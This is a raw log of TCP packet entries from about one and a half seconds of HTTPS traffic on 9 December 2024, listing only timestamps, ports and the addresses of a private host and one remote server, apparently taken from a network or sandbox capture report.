Dec 9, 2024 17:54:04.016221046 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.016246080 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.016329050 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.016334057 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.016387939 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.023098946 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.023123980 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.023171902 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.023176908 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.023231030 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.030457973 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.030481100 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.030529976 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.030551910 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.030570984 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.030596018 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.036351919 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.036380053 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.036427021 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.036451101 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.036469936 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.036489964 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.043082952 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.043112040 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.043154955 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.043163061 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.043200970 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.043224096 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.049124956 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.049154043 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.049201012 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.049206018 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.049247026 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.325830936 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.325845957 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.325871944 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.325928926 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.325942993 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.325965881 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.325970888 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.325979948 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.325993061 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.325999975 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326132059 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.326138973 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326214075 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326232910 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326235056 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.326245070 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326257944 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.326297998 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.326307058 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326322079 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326370955 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.326374054 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326405048 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326422930 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326426029 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.326431990 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.326502085 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.326502085 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.389585972 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.389607906 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.389657021 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.389673948 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.389708996 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.389725924 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.396810055 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.396833897 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.396874905 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.396883965 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.396929979 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.397012949 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.401415110 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.401439905 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.401489019 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.401494980 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.401520967 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.401532888 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.408057928 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.408077002 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.408118963 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.408128023 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.408184052 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.408184052 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.414870977 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.414891005 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.414946079 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.414952993 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.415067911 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.445249081 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.445271969 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.445365906 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.445384026 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.445444107 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.447329998 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.447352886 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.447427034 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.447432995 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.447500944 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.448183060 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.448203087 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.448249102 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.448254108 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.448275089 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.448352098 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.580476999 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.580503941 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.580557108 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.580569029 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.580621004 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.580743074 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.587595940 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.587613106 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.587675095 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.587680101 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.587843895 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.594201088 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.594213009 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.594275951 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.594280005 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.594544888 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.600195885 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.600213051 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.600263119 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.600266933 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.600327015 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.606978893 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.606995106 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.607058048 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.607062101 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.607250929 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.615989923 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.616007090 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.616066933 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.616070986 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.616295099 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.622148991 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.622165918 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.622461081 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.622464895 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.622631073 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.629378080 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.629483938 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.630352020 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.630419970 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.772912979 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.772939920 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.772979975 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.772993088 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.773046017 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.779810905 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.779827118 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.779951096 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.779956102 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.780065060 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.786916971 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.786931992 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.787297964 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.787302971 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.787405014 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.793205023 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.793222904 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.793287039 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.793292046 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.793314934 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.793342113 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.799360037 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.799379110 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.799417973 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.799422026 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.799464941 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.805793047 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.805811882 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.805877924 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.805882931 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.805979013 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.812663078 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.812678099 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.812727928 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.812732935 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.812772989 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.812791109 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.823344946 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.823362112 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.823426008 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.823431015 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.823534012 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.965764046 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.965785027 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.965897083 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.965897083 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.965910912 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.966864109 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.972402096 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.972419024 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.972482920 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.972489119 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.972842932 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.979286909 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.979304075 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.979357004 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.979362965 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.981726885 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.985291958 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.985307932 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.985404968 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.985404968 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.985410929 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.985570908 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.992280960 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.992296934 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.993715048 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.993720055 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.994112968 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.998934984 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.998951912 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.999025106 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:04.999028921 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:04.999144077 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.005433083 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.005449057 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.005500078 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.005503893 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.005542994 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.015285969 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.015301943 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.017714977 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.017719984 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.018107891 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.166469097 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.166495085 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.166551113 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.166563034 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.166589022 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.166667938 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.173537970 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.173557997 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.173624039 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.173633099 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.173645973 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.173733950 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.180522919 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.180546999 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.180572033 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.180583954 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.180615902 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.180641890 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.186069965 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.186091900 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.186139107 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.186151028 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.186202049 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.186202049 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.192903042 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.192925930 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.193027973 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.193028927 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.193036079 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.193085909 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.199744940 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.199760914 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.199856043 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.199862957 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.199908018 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.206346035 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.206362963 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.206481934 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.206490040 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.206507921 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.206531048 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.212912083 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.212928057 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.212970018 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.212975979 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.213005066 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.213027954 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.358756065 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.358781099 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.358844042 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.358865023 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.358897924 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.358983040 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.366303921 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.366333008 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.366405964 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.366415977 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.366435051 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.366461992 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.372230053 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.372251034 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.372426033 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.372432947 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.372550964 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.379478931 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.379496098 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.379571915 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.379579067 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.379853010 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.385277987 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.385288000 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.385365009 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.385371923 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.385579109 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.392193079 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.392208099 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.392265081 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.392271996 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.392371893 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.399522066 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.399538040 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.399650097 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.399657011 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.399930954 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.405843973 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.405860901 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.405916929 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.405925035 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.405957937 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.551642895 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.551670074 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.551723957 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.551743031 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.551781893 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.551963091 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.558568954 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.558590889 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.558648109 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.558655024 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.558720112 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.564657927 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.564682961 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.564753056 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.564762115 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.564793110 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.565136909 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.572031975 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.572053909 CET	443	49824	107.167.96.30	192.168.2.4
Dec 9, 2024 17:54:05.572141886 CET	49824	443	192.168.2.4	107.167.96.30
Dec 9, 2024 17:54:05.572149992 CET	443	49824	107.167.96.30	192.168.2.4
